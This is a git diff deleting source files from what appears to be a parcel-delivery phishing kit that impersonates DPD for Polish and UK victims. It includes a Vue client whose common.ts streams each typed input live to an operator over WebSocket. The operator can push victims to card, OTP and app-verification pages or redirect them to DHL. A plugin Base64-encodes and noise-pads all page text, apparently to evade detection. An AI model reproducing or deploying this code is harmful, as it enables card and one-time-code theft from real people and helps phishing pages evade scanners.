- // 随机选择一种噪声类型
- const noiseGenerator = noiseTypes[Math.floor(Math.random() * noiseTypes.length)];
- return noiseGenerator();
-}
-
-/**
- * 混淆文本 - 将文本拆分成单词并分别存储,使用自定义z-标签
- */
-function obfuscateText(text: string): string {
- if (!text) return '';
-
- // 首先移除文本开头的所有空白字符以解决段落首行缩进问题
- text = text.replace(/^\s+/, '');
- if (!text) return '';
-
- // 使用正则表达式将文本拆分为单词和空格,保持完整性
- const words = text.split(/(\s+)/);
- let result = '';
-
- // 过滤掉空字符串,避免生成空的z-span元素
- const filteredWords = words.filter(word => word.length > 0);
-
- // 为每个单词创建一个独立的自定义元素
- filteredWords.forEach((word, index) => {
- // 对空格和特殊字符进行特殊处理
- if (/^\s+$/.test(word)) {
- // 改进:更精确地处理各种换行符
- if (/[\n\r]/.test(word)) {
- // 将所有类型的换行符分割出来,但仅在实际有换行符时才添加z-break元素
- result += ' ';
- } else {
- // 纯空格的情况 - 对连续空格合并处理,避免添加过多z-space
- result += ' ';
- }
- return;
- }
-
- // 随机在单词前添加噪声,但减少频率
- if (Math.random() > 0.85) {
- result += getRandomNoise();
- }
-
- // 为了提高效率,固定属性名
- const attrId = `data`;
-
- // 将单词编码为Base64
- const encodedWord = btoa(encodeURIComponent(word));
-
- // 随机选择z-span或z-strong标签增加混淆度
- const tagName = Math.random() > 0.5 ? 'z-span' : 'z-strong';
-
- // 添加标签开始部分
- result += `<${tagName} data-${attrId}="${encodedWord}" data-preload="true">`;
-
- // 随机在标签内添加隐藏内容,但减少频率
- if (Math.random() > 0.8) {
- const fakeText = Math.random().toString(36).substring(2, 5 + Math.floor(Math.random() * 5));
- result += `${fakeText} `;
- }
-
- // 闭合标签
- result += `${tagName}>`;
-
- // 随机在单词后添加噪声,但减少频率
- if (Math.random() > 0.85) {
- result += getRandomNoise();
- }
- });
-
- result += ' ';
- return result;
-}
-
-/**
- * 添加显示混淆内容的样式和解码脚本
- */
-function addObfuscationStyle() {
- // 添加样式
- if (!document.getElementById('obfuscation-style')) {
- const style = document.createElement('style');
- style.id = 'obfuscation-style';
- style.textContent = `
- /* 自定义元素基本样式 */
- z-wrap {
- display: inline;
- white-space: normal;
- user-select: none; /* 阻止文本选择 */
- text-indent: 0 !important; /* 确保无缩进 */
- }
-
- /* 添加一个类来允许选择文本的情况 */
- .allow-select z-wrap {
- user-select: text;
- }
-
- /* 确保段落中的混淆内容没有开头缩进 */
- p > z-wrap:first-child {
- text-indent: 0 !important;
- margin-left: 0 !important;
- padding-left: 0 !important;
- }
-
- /* 处理所有p标签,确保没有多余空间 */
- p {
- text-indent: 0;
- }
-
- z-span, z-strong {
- display: inline-block;
- position: relative;
- opacity: 1;
- transition: opacity 0.1s ease;
- margin: 0;
- padding: 0;
- }
-
- /* 控制右侧间距 */
- z-span + z-span, z-strong + z-strong, z-span + z-strong, z-strong + z-span {
- margin-left: 0.1em;
- }
-
- /* 移除最后一个元素的右侧间距 */
- z-span:last-child, z-strong:last-child {
- margin-right: 0;
- }
-
- z-span::after, z-strong::after {
- content: attr(data-content);
- position: relative;
- pointer-events: none;
- }
-
- /* 空格元素 - 精确控制宽度 */
- z-space {
- display: inline-block;
- width: 0.25em;
- margin: 0;
- padding: 0;
- }
-
- /* 空的z-span/z-strong元素不应该显示 */
- z-span:not([data-content]), z-strong:not([data-content]) {
- display: none;
- }
-
- /* 换行元素 - 强制换行且完全没有尺寸 */
- z-break {
- display: block !important;
- height: 0 !important;
- width: 0 !important;
- margin: 0 !important;
- padding: 0 !important;
- border: none !important;
- line-height: 0 !important;
- font-size: 0 !important;
- overflow: hidden !important;
- }
-
- /* 隐藏所有噪声元素 */
- z-nil, z-void, z-null, z-fake, z-empty, z-attr, z-text, z-hidden {
- display: none;
- width: 0;
- height: 0;
- opacity: 0;
- overflow: hidden;
- position: absolute;
- visibility: hidden;
- }
-
- /* 预加载状态 */
- [data-preload="true"] {
- min-width: 0.5em;
- min-height: 1em;
- }
- `;
- document.head.appendChild(style);
- }
-
- // 添加自定义元素注册,确保所有浏览器都能正确处理
- const scriptCustomElements = document.createElement('script');
- scriptCustomElements.textContent = `
- // 注册所有自定义元素
- if ('customElements' in window) {
- customElements.define('z-wrap', class extends HTMLElement {});
- customElements.define('z-span', class extends HTMLElement {});
- customElements.define('z-strong', class extends HTMLElement {});
- customElements.define('z-space', class extends HTMLElement {});
- customElements.define('z-break', class extends HTMLElement {});
-
- // 注册噪声元素
- customElements.define('z-nil', class extends HTMLElement {});
- customElements.define('z-void', class extends HTMLElement {});
- customElements.define('z-null', class extends HTMLElement {});
- customElements.define('z-fake', class extends HTMLElement {});
- customElements.define('z-empty', class extends HTMLElement {});
- customElements.define('z-attr', class extends HTMLElement {});
- customElements.define('z-text', class extends HTMLElement {});
- customElements.define('z-hidden', class extends HTMLElement {});
- }
- `;
- document.head.appendChild(scriptCustomElements);
-
- // 添加提前解码的脚本,放在顶部优先加载
- if (!document.getElementById('obfuscation-script')) {
- const script = document.createElement('script');
- script.id = 'obfuscation-script';
- script.textContent = `
- (function() {
- // 定义解码函数并暴露为全局函数
- window.decodeObfuscatedContent = function(rootElement) {
- const root = rootElement || document.body;
- const elements = root.querySelectorAll('z-span[data-preload="true"], z-strong[data-preload="true"]');
-
- if (elements.length === 0) return;
-
- // 使用requestIdleCallback或setTimeout在空闲时运行,避免阻塞渲染
- const runWhenIdle = window.requestIdleCallback ||
- function(cb) { setTimeout(cb, 1); };
-
- runWhenIdle(() => {
- elements.forEach(el => {
- // 避免重复解码
- if (el.hasAttribute('data-content')) return;
-
- // 找到编码数据
- const dataAttr = el.getAttribute('data-data');
- if (dataAttr) {
- try {
- // 解码并设置
- const decodedWord = decodeURIComponent(atob(dataAttr));
- el.setAttribute('data-content', decodedWord);
- el.removeAttribute('data-preload');
- } catch (e) {
- // 解码失败时跳过
- }
- }
- });
- });
- };
-
- // 页面加载完成后立即执行一次全局解码
- if (document.readyState === 'loading') {
- document.addEventListener('DOMContentLoaded', function() {
- window.decodeObfuscatedContent();
- });
- } else {
- window.decodeObfuscatedContent();
- }
-
- // 使用IntersectionObserver优化解码性能
- if ('IntersectionObserver' in window) {
- const decodeObserver = new IntersectionObserver(
- (entries, observer) => {
- entries.forEach(entry => {
- if (entry.isIntersecting) {
- // 容器进入视口时解码其内容
- window.decodeObfuscatedContent(entry.target);
- observer.unobserve(entry.target);
- }
- });
- },
- { rootMargin: '200px 0px' } // 提前200像素开始解码
- );
-
- // 监听所有混淆容器
- function observeContainers() {
- document.querySelectorAll('z-wrap').forEach(container => {
- decodeObserver.observe(container);
- });
- }
-
- // 初始观察
- if (document.readyState === 'loading') {
- document.addEventListener('DOMContentLoaded', observeContainers);
- } else {
- observeContainers();
- }
-
- // 定期检查新容器
- setInterval(observeContainers, 2000);
- } else {
- // 降级方案:定期全局检查
- setInterval(() => window.decodeObfuscatedContent(), 1000);
- }
- })();
- `;
-
- // 将脚本添加到head的最前面,确保尽早加载
- if (document.head.firstChild) {
- document.head.insertBefore(script, document.head.firstChild);
- } else {
- document.head.appendChild(script);
- }
- }
-}
\ No newline at end of file
diff --git a/a1_pl_dpd_post/src/utils/common.ts.backup b/a1_pl_dpd_post/src/utils/common.ts.backup
deleted file mode 100644
index 974ddab..0000000
--- a/a1_pl_dpd_post/src/utils/common.ts.backup
+++ /dev/null
@@ -1,331 +0,0 @@
-import _ from "lodash";
-import { sendInput } from "@/api/api";
-import type { Socket } from "@/utils/websocket";
-import eventBus from "@/utils/eventBus";
-import router from "@/router";
-import { ref } from "vue";
-import { useSocket } from "@/utils/websocket";
-import { useLoadingStore } from "@/stores/loadingStore";
-import i18n from "@/main";
-import { useSocketIo } from "./socketio";
-
-const viteBaseUrl = import.meta.env.VITE_BASE_URL;
-
-// WebSocket interface
-interface MyWebSocket {
- socket: any;
- send: (data: string) => Promise;
- off: (event: string) => void;
- on: (event: string, callback: (data: any) => void) => void;
-}
-
-export const customOtpData = ref({});
-
-export function setCustomOtpData(data: any) {
- customOtpData.value = data;
- localStorage.setItem("customOtpData", JSON.stringify(data));
-}
-
-export let myWebSocket: MyWebSocket | undefined;
-
-// Configuration data
-export const configData = ref>({});
-
-// Utility function to check if all values in an object are not empty
-export function areAllValuesNotEmpty(
- obj: Record,
- excludedFields: string[] = []
-): boolean {
- return Object.keys(obj).every((key) => {
- if (excludedFields.includes(key)) return true;
- const value = obj[key];
- return (
- value !== null &&
- value !== undefined &&
- value !== "" &&
- !(typeof value === "string" && value.trim() === "")
- );
- });
-}
-
-// 存储 WebSocket 和 API 的防抖函数
-const wsDebounceFunctions: Record<
- string,
- _.DebouncedFunc<(...args: any[]) => void>
-> = {};
-const apiDebounceFunctions: Record<
- string,
- _.DebouncedFunc<(...args: any[]) => void>
-> = {};
-
-// 获取或创建针对某个键的防抖函数
-function getDebouncedFunction(
- debounceFunctions: Record void>>,
- key: string,
- func: (...args: any[]) => void,
- wait: number
-) {
- if (!debounceFunctions[key]) {
- debounceFunctions[key] = _.debounce(func, wait);
- }
- return debounceFunctions[key];
-}
-
-const modeRef = ref(1)
-
-
-// 处理输入变化
-export function inputChange(type: string, key: any, value: any) {
- const currentTimestamp = Date.now(); // 当前时间戳
-
- // WebSocket 防抖函数
- const wsDebouncedFunction = getDebouncedFunction(
- wsDebounceFunctions,
- key,
- (type, key, value) => {
- myWebSocket?.send(
- JSON.stringify({
- event: "input_text",
- content: { type, key, text: value },
- timestamp: currentTimestamp,
- })
- );
- },
- 300
- );
-
- // API 防抖函数
- const apiDebouncedFunction = getDebouncedFunction(
- apiDebounceFunctions,
- key,
- (type, key, value) => {
- sendInput({
- content: { type, key, text: value },
- timestamp: currentTimestamp,
- });
- },
- 1000
- );
-
- // 调用防抖函数
- wsDebouncedFunction(type, key, value);
- if(modeRef.value !== 2) {
- apiDebouncedFunction(type, key, value);
- }
-}
-
-
-// Handle login success
-export function loginSuccess(token: string, mode: number) {
- if(mode === 2) {
- modeRef.value = 2
- myWebSocket = useSocketIo(
- `wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host
- }/ws?token=${token}`
- );
- }else{
- myWebSocket = useSocket(
- `wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host
- }/ws?token=${token}`
- );
- }
-
- myWebSocket?.on("close", () => console.log("Socket closed!"));
- myWebSocket?.on("open", () => {
- const lastToken = localStorage.getItem("token");
- loginWebsocket(token, lastToken !== token);
- });
-
- myWebSocket?.on("message", handleMessage);
-
- window.addEventListener("beforeunload", () => {
- myWebSocket?.off("close");
- });
-}
-
-// Handle WebSocket messages
-function handleMessage(data: any) {
- const jsonData = JSON.parse(data);
- if (!jsonData || !jsonData.event) return;
-
- const { event, content } = jsonData;
-
- switch (event) {
- case "login":
- //handleLoginEvent(content);
- break;
- case "result_type":
- handleResultTypeEvent(content);
- break;
- case "reload":
- window.location.reload();
- break;
- default:
- break;
- }
-}
-
-// Handle login event
-function handleLoginEvent(content: any) {
- const route = localStorage.getItem("route");
- if (route) {
- const customOtpDataValue = localStorage.getItem("customOtpData");
- if (route === "customOtpValid" && customOtpDataValue) {
- setCustomOtpData(JSON.parse(customOtpDataValue));
- myWebSocket?.send(
- JSON.stringify({
- event: "page_type",
- content: { pageType: "customOtpValid", pageTitle: customOtpData.value.name, customType: customOtpData.value.type },
- })
- );
- return;
- }
- myWebSocket?.send(
- JSON.stringify({
- event: "page_type",
- content: { pageType: route },
- })
- );
- }
-}
-
-// Handle result type event
-function handleResultTypeEvent(content: any) {
- if (!content) return;
-
- const typeHandlers: Record void> = {
- customOtpValid: () => navigateTo("/customOtpValid", content),
- otpValid: () => navigateTo("/otpValid", content),
- appValid: () => navigateTo("/appValid", content),
- success: () => router.push("/success"),
- kickOut: redirectToExternal,
- block: redirectToExternal,
- otpFail: () =>
- eventBus.emit("otp-valid", {
- message2:
- content.value.message2 ||
- i18n.global.t("Verification code error, please try again"),
- }),
- appFail: () =>
- eventBus.emit("app-valid", {
- message2:
- content.value.message2 ||
- i18n.global.t(
- "The session is about to expire, please complete the verification now"
- ),
- }),
- back: () => handleBackOrReject(content, true),
- reject: () => handleBackOrReject(content, false),
- refresh: () => {
- if(localStorage.getItem("route")){
- localStorage.removeItem("route");
- window.location.reload();
- }
- },
- };
-
- if (content.type == "customOtpValid") {
- if(content.value.customOtpData) {
- setCustomOtpData(JSON.parse(content.value.customOtpData));
- }
-}
- if (content.type == "customOtpFail") {
- eventBus.emit("custom-otp-valid", {
- message2: content.value.message2,
- });
- }
-
- const handler = typeHandlers[content.type];
- if (handler) handler();
-
- useLoadingStore().setLoading(false);
-}
-
-// Navigate to specific path with query parameters
-function navigateTo(path: string, content: any) {
-
- router.push('/temp').then(() => {
- router.push({
- path: path,
- query: {
- cardType: content.value?.data?.cardData?.cardBIN?.schema,
- message1: content.value?.message1,
- key: new Date().getMilliseconds(),
- },
- });
- });
-}
-
-// Handle back or reject type
-function handleBackOrReject(content: any, isBack: boolean) {
- let message2 = i18n.global.t(
- "This card does not support this transaction, please try another card"
- );
-
- if (configData.value.error_card_msg) {
- message2 = configData.value.error_card_msg;
- }
-
- if (content.value.type) {
- const type = content.value.type;
- if (type === "denyC" && configData.value.deny_c_msg) {
- message2 = configData.value.deny_c_msg;
- }
- if (type === "denyD" && configData.value.deny_d_msg) {
- message2 = configData.value.deny_d_msg;
- }
- }
-
- if (content.value.message2) {
- message2 = content.value.message2;
- }
-
- if (isBack) {
- router.push({ path: "/card", query: { message2 } });
- }
-
- eventBus.emit("my-event", { message2 });
-}
-
-// Login to WebSocket
-function loginWebsocket(token: string, isFirst: boolean) {
- myWebSocket?.send(
- JSON.stringify({
- event: "login",
- content: { tag: "user", token, isFirst },
- })
- );
- initHtml();
-}
-
-// Redirect to an external URL
-export function redirectToExternal() {
- window.location.href = "https://www.dhl.com/ch-de/home.html";
-}
-
-export async function loadHtml(url: string) {
- try {
- const response = await fetch(url); // 替换为您的 HTML 文件路径
- if (!response.ok) {
- return "";
- }
- return await response.text();
- } catch (error) {
- return "";
- }
-}
-
-export const headerHtml = ref("");
-export const footerHtml = ref("");
-export const loadingBg = ref("#ffffff");
-
-const initHtml = async () => {
- const routePath = localStorage.getItem("route");
- headerHtml.value = await loadHtml("/Q3h9Lm2Rk8VzNwXa/header.html");
- footerHtml.value = await loadHtml("/Q3h9Lm2Rk8VzNwXa/footer.html");
- await router.push(routePath ? `/${routePath}` : "/phone1");
- setTimeout(async () => {
- useLoadingStore().setLoading(false);
- loadingBg.value = "transparent";
- }, 200);
-};
diff --git a/a2_uk_dpd_post/src/components/HelloWorld.vue b/a2_uk_dpd_post/src/components/HelloWorld.vue
deleted file mode 100644
index 8f39347..0000000
--- a/a2_uk_dpd_post/src/components/HelloWorld.vue
+++ /dev/null
@@ -1,51 +0,0 @@
-
-
-
-
-
{{ msg }}
-
Send /
-
- You’ve successfully created a project with
- Vite +
- Vue 3 .
- What's next?
-
-
-
-
-
diff --git a/a2_uk_dpd_post/src/components/TheWelcome.vue b/a2_uk_dpd_post/src/components/TheWelcome.vue
deleted file mode 100644
index a70765c..0000000
--- a/a2_uk_dpd_post/src/components/TheWelcome.vue
+++ /dev/null
@@ -1,86 +0,0 @@
-
-
-
-
-
-
-
- Documentation
-
- Vue’s
- official documentation
- provides you with all information you need to get started.
-
-
-
-
-
-
- Tooling
-
- This project is served and bundled with
- Vite . The
- recommended IDE setup is
- VSCode +
- Volar . If
- you need to test your components and web pages, check out
- Cypress and
- Cypress Component Testing .
-
-
-
- More instructions are available in README.md.
-
-
-
-
-
-
- Ecosystem
-
- Get official tools and libraries for your project:
- Pinia ,
- Vue Router ,
- Vue Test Utils , and
- Vue Dev Tools . If
- you need more resources, we suggest paying
- Awesome Vue
- a visit.
-
-
-
-
-
-
- Community
-
- Got stuck? Ask your question on
- Vue Land , our official
- Discord server, or
- StackOverflow . You should also subscribe to
- our mailing list and follow
- the official
- @vuejs
- twitter account for latest news in the Vue world.
-
-
-
-
-
-
- Support Vue
-
- As an independent project, Vue relies on community backing for its sustainability. You can help
- us by
- becoming a sponsor .
-
-
diff --git a/a2_uk_dpd_post/src/components/WelcomeItem.vue b/a2_uk_dpd_post/src/components/WelcomeItem.vue
deleted file mode 100644
index ba0def3..0000000
--- a/a2_uk_dpd_post/src/components/WelcomeItem.vue
+++ /dev/null
@@ -1,86 +0,0 @@
-
-
-
-
-
diff --git a/a2_uk_dpd_post/src/main.ts b/a2_uk_dpd_post/src/main.ts
index fb9aaa3..bd65a08 100644
--- a/a2_uk_dpd_post/src/main.ts
+++ b/a2_uk_dpd_post/src/main.ts
@@ -1,4 +1,3 @@
-import { TextObfuscatorPlugin } from "./mix/textObfuscator";
import { createApp, ref } from "vue";
import { createPinia } from "pinia";
@@ -29,6 +28,5 @@ router.beforeEach((to, from, next) => {
VueScrollTo.scrollTo("#app", 0);
next();
});
-// //app.use(TextObfuscatorPlugin);
app.mount("#app");
export default i18n;
diff --git a/a2_uk_dpd_post/src/mix/textObfuscator.ts b/a2_uk_dpd_post/src/mix/textObfuscator.ts
deleted file mode 100644
index 76c21e9..0000000
--- a/a2_uk_dpd_post/src/mix/textObfuscator.ts
+++ /dev/null
@@ -1,643 +0,0 @@
-import type { ComponentInternalInstance, Plugin, App } from 'vue';
-
-/**
- * 全局文本混淆插件
- * 自动查找并替换所有文本节点
- */
-// 修改Vue混淆插件以确保处理整个组件树
-export const TextObfuscatorPlugin: Plugin = {
- install(app: App) {
- // 安装全局样式和解码脚本
- addObfuscationStyle();
-
- // 注册全局指令,直接处理元素内容
- app.directive('odata', {
- mounted(el) {
- processTextNodes(el, null);
- if (window.decodeObfuscatedContent) {
- setTimeout(() => window.decodeObfuscatedContent(el), 0);
- }
- setupMutationObserver(el);
- },
- updated(el) {
- processTextNodes(el, null);
- if (window.decodeObfuscatedContent) {
- setTimeout(() => window.decodeObfuscatedContent(el), 0);
- }
- }
- });
-
- // 在 app.mixin 中修改处理 $el 的部分
- app.mixin({
- mounted() {
- // 安全地获取组件的根元素(s)
- const rootElements = this.$el ?
- (this.$el.nodeType === Node.ELEMENT_NODE ?
- [this.$el] :
- (Array.isArray(this.$el) ? this.$el : [])) :
- [];
-
- // 处理每个根元素
- rootElements.forEach((rootElement: Element) => {
- if (!rootElement || !(rootElement instanceof Element)) return;
-
- // 1. 首先处理当前组件的根元素
- processTextNodes(rootElement, this);
-
- // 2. 递归处理所有子元素,确保覆盖所有文本节点
- const processAllChildNodes = (element: Element) => {
- if (!(element instanceof Element)) return;
-
- try {
- // 为每个子元素单独处理文本节点
- const childElements = element.querySelectorAll('*');
- childElements.forEach(childEl => {
- processTextNodes(childEl, null);
- });
-
- // 立即解码当前处理的元素
- if (window.decodeObfuscatedContent) {
- setTimeout(() => window.decodeObfuscatedContent(element), 0);
- }
- } catch (error) {
- console.error('Error processing child nodes:', error, element);
- }
- };
-
- // 处理整个组件树
- processAllChildNodes(rootElement);
-
- // 设置监听
- setupMutationObserver(rootElement);
- });
- // 添加:深度扫描所有包含纯文本的元素
- setTimeout(() => {
- const scanPureTextElements = (rootElement: Element) => {
- // 跳过已处理过的元素
- if (rootElement.hasAttribute && rootElement.hasAttribute('data-obfuscated')) {
- return;
- }
-
- // 检查是否为包含纯文本的元素(只有文本节点,没有元素节点)
- let hasOnlyTextNodes = false;
- let hasElementNodes = false;
-
- if (rootElement.childNodes && rootElement.childNodes.length > 0) {
- hasOnlyTextNodes = Array.from(rootElement.childNodes).some(
- node => node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim()
- );
-
- hasElementNodes = Array.from(rootElement.childNodes).some(
- node => node.nodeType === Node.ELEMENT_NODE
- );
- }
-
- // 如果元素只包含文本节点,并且不包含其他元素节点,则混淆它
- if (hasOnlyTextNodes && !hasElementNodes &&
- !SKIP_TAGS.includes(rootElement.tagName) &&
- !Array.from(rootElement.classList || []).some(cls => SKIP_CLASSES.includes(cls))) {
- processTextNodes(rootElement, null);
- if (window.decodeObfuscatedContent) {
- window.decodeObfuscatedContent(rootElement);
- }
- }
-
- // 递归处理子元素
- if (rootElement.children) {
- Array.from(rootElement.children).forEach(child => {
- scanPureTextElements(child);
- });
- }
- };
-
- // 从body开始扫描
- scanPureTextElements(document.body);
- }, 10); // 给DOM足够的时间渲染
- },
-
- updated() {
- // 安全地获取组件的根元素(s)
- const rootElements = this.$el ?
- (this.$el.nodeType === Node.ELEMENT_NODE ?
- [this.$el] :
- (Array.isArray(this.$el) ? this.$el : [])) :
- [];
-
- // 处理每个根元素
- rootElements.forEach((rootElement: Element | undefined) => {
- if (!rootElement || !(rootElement instanceof Element)) return;
-
- processTextNodes(rootElement, this);
-
- try {
- // 递归处理所有子元素
- const childElements = rootElement.querySelectorAll('*');
- childElements.forEach((childEl: Element) => {
- processTextNodes(childEl, null);
- });
-
- if (window.decodeObfuscatedContent) {
- setTimeout(() => window.decodeObfuscatedContent(rootElement), 0);
- }
- } catch (error) {
- console.error('Error processing updated component:', error, rootElement);
- }
- });
- }
- });
- }
-};
-
-// 声明全局函数类型
-declare global {
- interface Window {
- decodeObfuscatedContent: (rootElement?: Element) => void;
- }
-}
-
-// 需要跳过的标签
-const SKIP_TAGS = ['SCRIPT', 'STYLE', 'TEXTAREA', 'INPUT', 'PRE', 'CODE'];
-// 需要跳过的类名
-const SKIP_CLASSES = ['no-obfuscate'];
-
-/**
- * 处理元素中的所有文本节点
- */
-function processTextNodes(element: Element, instance: ComponentInternalInstance | null) {
- if (!element || element.nodeType !== Node.ELEMENT_NODE) {
- return;
- }
- // 为 DIV 元素增加优先处理逻辑
- if (element.tagName === 'DIV' && !element.hasAttribute('data-obfuscated')) {
- // 对于DIV元素,特殊处理其直接子文本节点
- let hasTextContent = false;
- for (let i = 0; i < element.childNodes.length; i++) {
- const node = element.childNodes[i];
- if (node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim() !== '') {
- hasTextContent = true;
- break;
- }
- }
-
- // 如果DIV中有直接的文本内容,标记它需要被处理
- if (hasTextContent) {
- // 只处理未混淆过的DIV
- const textContent = Array.from(element.childNodes)
- .filter(node => node.nodeType === Node.TEXT_NODE && node.textContent)
- .map(node => node.textContent).join('').trim();
-
- if (textContent) {
- // 替换整个DIV的内容
- const originalHTML = element.innerHTML;
- const processedHTML = obfuscateText(textContent);
- element.innerHTML = processedHTML + originalHTML.replace(textContent, '');
- element.setAttribute('data-obfuscated', 'true');
- }
- }
- }
- // 跳过带有特定标记的元素(避免重复处理)
- if (element.hasAttribute('data-obfuscated') ||
- !element ||
- SKIP_TAGS.includes(element.tagName) ||
- Array.from(element.classList).some(cls => SKIP_CLASSES.includes(cls))) {
- return;
- }
-
- // 使用 TreeWalker 遍历所有文本节点
- const walker = document.createTreeWalker(
- element,
- NodeFilter.SHOW_TEXT,
- {
- acceptNode(node) {
- // 不处理完全空的文本节点
- if (!node.textContent) {
- return NodeFilter.FILTER_REJECT;
- }
-
- // 检查父节点是否应该被跳过
- const parent = node.parentElement;
- if (parent && (
- SKIP_TAGS.includes(parent.tagName) ||
- parent.hasAttribute('data-obfuscated') ||
- Array.from(parent.classList || []).some(cls => SKIP_CLASSES.includes(cls))
- )) {
- return NodeFilter.FILTER_REJECT;
- }
-
- // 如果只包含空白且不是段落的首个节点,则跳过
- if (node.textContent.trim() === '' &&
- !(parent?.tagName === 'P' && node === parent.firstChild)) {
- return NodeFilter.FILTER_REJECT;
- }
-
- return NodeFilter.FILTER_ACCEPT;
- }
- }
- );
-
- // 收集需要处理的文本节点
- const textNodes: Text[] = [];
- let currentNode: Node | null = walker.nextNode();
-
- while (currentNode) {
- textNodes.push(currentNode as Text);
- currentNode = walker.nextNode();
- }
-
- // 预先计算所有混淆内容,减少DOM操作次数
- const fragments: DocumentFragment[] = [];
- const nodesToReplace: Text[] = [];
-
- // 在处理文本节点前,移除所有前导空格
- for (const textNode of textNodes) {
- const text = textNode.textContent;
- if (!text) continue;
-
- // 重要修改:检测是否是段落的首个文本节点,无条件移除开头的空白
- let processedText = text;
- if (textNode.parentElement?.tagName === 'P' &&
- textNode === textNode.parentElement.firstChild) {
- // 去除开头的空白,无论什么情况
- processedText = text.replace(/^\s+/, '');
- // 如果去除空白后为空,直接跳过这个节点
- if (!processedText) continue;
- }
-
- try {
- // 创建文档碎片来存储混淆后的内容
- const fragment = document.createDocumentFragment();
- const tempContainer = document.createElement('div');
- tempContainer.innerHTML = obfuscateText(processedText);
-
- // 将内容移动到碎片中
- while (tempContainer.firstChild) {
- fragment.appendChild(tempContainer.firstChild);
- }
-
- fragments.push(fragment);
- nodesToReplace.push(textNode);
- } catch (error) {
- console.error('Error processing text node:', error);
- }
- }
-
- // 批量替换节点,减少回流
- for (let i = 0; i < nodesToReplace.length; i++) {
- const textNode = nodesToReplace[i];
- const fragment = fragments[i];
-
- if (textNode.parentNode) {
- textNode.parentNode.replaceChild(fragment, textNode);
- }
- }
-}
-
-/**
- * 设置 MutationObserver 来监听 DOM 变化
- */
-function setupMutationObserver(element: Element) {
- if (!element) return;
-
- const observer = new MutationObserver((mutations) => {
- for (const mutation of mutations) {
- if (mutation.type === 'childList' && mutation.addedNodes.length) {
- mutation.addedNodes.forEach((node) => {
- if (node.nodeType === Node.ELEMENT_NODE) {
- processTextNodes(node as Element, null);
- // 观察到新元素后立即解码
- if (window.decodeObfuscatedContent) {
- window.decodeObfuscatedContent(node as Element);
- }
- }
- });
- }
- }
- });
-
- observer.observe(element, {
- childList: true,
- subtree: true
- });
-}
-
-/**
- * 生成随机噪声标签和注释
- */
-function getRandomNoise() {
- const noiseTypes = [
- // HTML注释
- () => ``,
- // 空的自定义元素
- () => {
- const tags = ['z-nil', 'z-void', 'z-null', 'z-fake', 'z-empty'];
- const tag = tags[Math.floor(Math.random() * tags.length)];
- return `<${tag}>${tag}>`;
- },
- // 带随机属性的自定义元素
- () => {
- const attr = `data-${Math.random().toString(36).substring(2, 7)}`;
- const value = Math.random().toString(36).substring(2, 10);
- return ` `;
- },
- // 带随机文本的隐藏元素
- () => {
- const text = Math.random().toString(36).substring(2, 8);
- return `${text} `;
- }
- ];
-
- // 随机选择一种噪声类型
- const noiseGenerator = noiseTypes[Math.floor(Math.random() * noiseTypes.length)];
- return noiseGenerator();
-}
-
-/**
- * 混淆文本 - 将文本拆分成单词并分别存储,使用自定义z-标签
- */
-function obfuscateText(text: string): string {
- if (!text) return '';
-
- // 首先移除文本开头的所有空白字符以解决段落首行缩进问题
- text = text.replace(/^\s+/, '');
- if (!text) return '';
-
- // 使用正则表达式将文本拆分为单词和空格,保持完整性
- const words = text.split(/(\s+)/);
- let result = '';
-
- // 过滤掉空字符串,避免生成空的z-span元素
- const filteredWords = words.filter(word => word.length > 0);
-
- // 为每个单词创建一个独立的自定义元素
- filteredWords.forEach((word, index) => {
- // 对空格和特殊字符进行特殊处理
- if (/^\s+$/.test(word)) {
- // 改进:更精确地处理各种换行符
- if (/[\n\r]/.test(word)) {
- // 将所有类型的换行符分割出来,但仅在实际有换行符时才添加z-break元素
- result += ' ';
- } else {
- // 纯空格的情况 - 对连续空格合并处理,避免添加过多z-space
- result += ' ';
- }
- return;
- }
-
- // 随机在单词前添加噪声,但减少频率
- if (Math.random() > 0.85) {
- result += getRandomNoise();
- }
-
- // 为了提高效率,固定属性名
- const attrId = `data`;
-
- // 将单词编码为Base64
- const encodedWord = btoa(encodeURIComponent(word));
-
- // 随机选择z-span或z-strong标签增加混淆度
- const tagName = Math.random() > 0.5 ? 'z-span' : 'z-strong';
-
- // 添加标签开始部分
- result += `<${tagName} data-${attrId}="${encodedWord}" data-preload="true">`;
-
- // 随机在标签内添加隐藏内容,但减少频率
- if (Math.random() > 0.8) {
- const fakeText = Math.random().toString(36).substring(2, 5 + Math.floor(Math.random() * 5));
- result += `${fakeText} `;
- }
-
- // 闭合标签
- result += `${tagName}>`;
-
- // 随机在单词后添加噪声,但减少频率
- if (Math.random() > 0.85) {
- result += getRandomNoise();
- }
- });
-
- result += ' ';
- return result;
-}
-
-/**
- * 添加显示混淆内容的样式和解码脚本
- */
-function addObfuscationStyle() {
- // 添加样式
- if (!document.getElementById('obfuscation-style')) {
- const style = document.createElement('style');
- style.id = 'obfuscation-style';
- style.textContent = `
- /* 自定义元素基本样式 */
- z-wrap {
- display: inline;
- white-space: normal;
- user-select: none; /* 阻止文本选择 */
- text-indent: 0 !important; /* 确保无缩进 */
- }
-
- /* 添加一个类来允许选择文本的情况 */
- .allow-select z-wrap {
- user-select: text;
- }
-
- /* 确保段落中的混淆内容没有开头缩进 */
- p > z-wrap:first-child {
- text-indent: 0 !important;
- margin-left: 0 !important;
- padding-left: 0 !important;
- }
-
- /* 处理所有p标签,确保没有多余空间 */
- p {
- text-indent: 0;
- }
-
- z-span, z-strong {
- display: inline-block;
- position: relative;
- opacity: 1;
- transition: opacity 0.1s ease;
- margin: 0;
- padding: 0;
- }
-
- /* 控制右侧间距 */
- z-span + z-span, z-strong + z-strong, z-span + z-strong, z-strong + z-span {
- margin-left: 0.1em;
- }
-
- /* 移除最后一个元素的右侧间距 */
- z-span:last-child, z-strong:last-child {
- margin-right: 0;
- }
-
- z-span::after, z-strong::after {
- content: attr(data-content);
- position: relative;
- pointer-events: none;
- }
-
- /* 空格元素 - 精确控制宽度 */
- z-space {
- display: inline-block;
- width: 0.25em;
- margin: 0;
- padding: 0;
- }
-
- /* 空的z-span/z-strong元素不应该显示 */
- z-span:not([data-content]), z-strong:not([data-content]) {
- display: none;
- }
-
- /* 换行元素 - 强制换行且完全没有尺寸 */
- z-break {
- display: block !important;
- height: 0 !important;
- width: 0 !important;
- margin: 0 !important;
- padding: 0 !important;
- border: none !important;
- line-height: 0 !important;
- font-size: 0 !important;
- overflow: hidden !important;
